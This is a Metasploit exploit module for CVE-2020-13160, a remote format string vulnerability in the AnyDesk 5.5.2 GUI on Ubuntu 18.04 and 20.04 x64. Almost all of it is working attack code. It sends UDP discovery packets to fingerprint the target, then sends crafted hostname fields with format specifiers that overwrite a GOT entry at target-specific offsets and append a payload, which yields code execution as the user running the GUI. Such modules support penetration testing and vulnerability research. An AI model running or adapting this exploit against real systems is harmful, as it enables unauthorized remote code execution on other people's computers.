## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Auxiliary::Report include Msf::Exploit::Remote::Udp def initialize(info = {}) super( update_info( info, 'Name' => 'AnyDesk GUI Format String Write', 'Description' => %q{ The AnyDesk GUI is vulnerable to a remotely exploitable format string vulnerability. By sending a specially crafted discovery packet, an attacker can corrupt the frontend process when it loads or refreshes. While the discovery service is always running, the GUI frontend must be started to trigger the vulnerability. On successful exploitation, code is executed within the context of the user who started the AnyDesk GUI. }, 'Author' => [ 'scryh', # vulnerability discovery and original exploit 'Spencer McIntyre' # metasploit module ], 'License' => MSF_LICENSE, 'References' => [ [ 'CVE', '2020-13160' ], [ 'URL', 'https://devel0pment.de/?p=1881' ] ], 'Payload' => { 'Space' => 512, 'BadChars' => "\x00\x25\x26" }, 'Platform' => 'linux', 'Arch' => ARCH_X64, 'DefaultOptions' => { 'CPORT' => 50001, 'PrependFork' => true, 'WfsDelay' => 10 }, 'Notes' => { 'Stability' => [ CRASH_SERVICE_DOWN ], 'SideEffects' => [ SCREEN_EFFECTS ], 'Reliability' => [ UNRELIABLE_SESSION ] }, 'Targets' => [ [ 'Anydesk 5.5.2 Ubuntu 20.04 x64', { 'stkref1' => 109, 'stkref2' => 125, 'time@got.plt' => 0x119ddc0 - 139 } ], [ 'Anydesk 5.5.2 Ubuntu 18.04 x64', { 'stkref1' => 93, 'stkref2' => 165, 'time@got.plt' => 0x119ddc0 - 135 } ] ], 'DefaultTarget' => 0, 'DisclosureDate' => '2020-06-16' ) ) register_options([ Opt::RPORT(50001) ]) register_advanced_options([ OptAddressLocal.new('SRVHOST', [ true, 'The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.', '0.0.0.0' ]), OptPort.new('SRVPORT', [ true, 'The local port to listen on.', 50001 ]) ]) end def build_discover_packet(hn, user, inf, func) buf = "\x3e\xd1\x01" buf << [4919].pack('N') buf << [0].pack('N') buf << "\x02\x01" # os buf << [hn.length].pack('N') << hn buf << [user.length].pack('N') << user buf << [0].pack('N') buf << [inf.length].pack('N') << inf buf << "\x00" buf << [func.length].pack('N') << func buf << "\x02\xc3\x51" end def discover server_sock = Rex::Socket::Udp.create( 'LocalHost' => datastore['SRVHOST'], 'LocalPort' => datastore['SRVPORT'], 'Context' => { 'Msf' => framework, 'MsfExploit' => self } ) client_sock = connect_udp(false, { 'RPORT' => datastore['RPORT'], 'CPORT' => 0 }) client_sock.put(build_discover_packet(rand_text_alpha(rand(5..9)), rand_text_alpha(rand(5..9)), 'ad', 'main')) timeout = 10 while timeout > 0 start_time = Time.now response, host, = server_sock.recvfrom(8192, timeout) break if host == datastore['RHOST'] timeout = Time.now - start_time end return nil unless response[0..2].bytes == [0x3e, 0xd1, 0x01] return nil unless response[11] == "\x02" disconnect_udp(client_sock) server_sock.close hostname = response[17..17 + response[13..16].unpack1('N')] report_host(host: datastore['RHOST'], name: hostname) { hostname: hostname, os: response[12] == "\x02" ? :linux : nil } end def check info = discover return CheckCode::Safe if info.nil? CheckCode::Detected("Remote hostname: #{info[:hostname]}") end def bad_unicode [ rand(0x80..0x90), rand(0..0xff) ].pack('CC') end def exploit info = discover fail_with(Failure::NotVulnerable, 'Discovery failed to detect the AnyDesk service') if info.nil? fail_with(Failure::NoTarget, 'Discovery determined the remote host OS is incompatible') unless info[:os] == :linux print_status("Discovered the remote service (hostname: #{info[:hostname]}, os: #{info[:os]})") connect_udp hn = "#{bad_unicode}%1$*1$x%18x%#{target['stkref2']}$ln" hn << payload.encoded udp_sock.put(build_discover_packet(hn, "#{bad_unicode}%#{target['time@got.plt']}x%#{target['stkref1']}$ln", 'ad', 'main')) print_status('Sent exploit frame, waiting for the GUI to refresh to trigger the vulnerability...') ensure disconnect_udp end end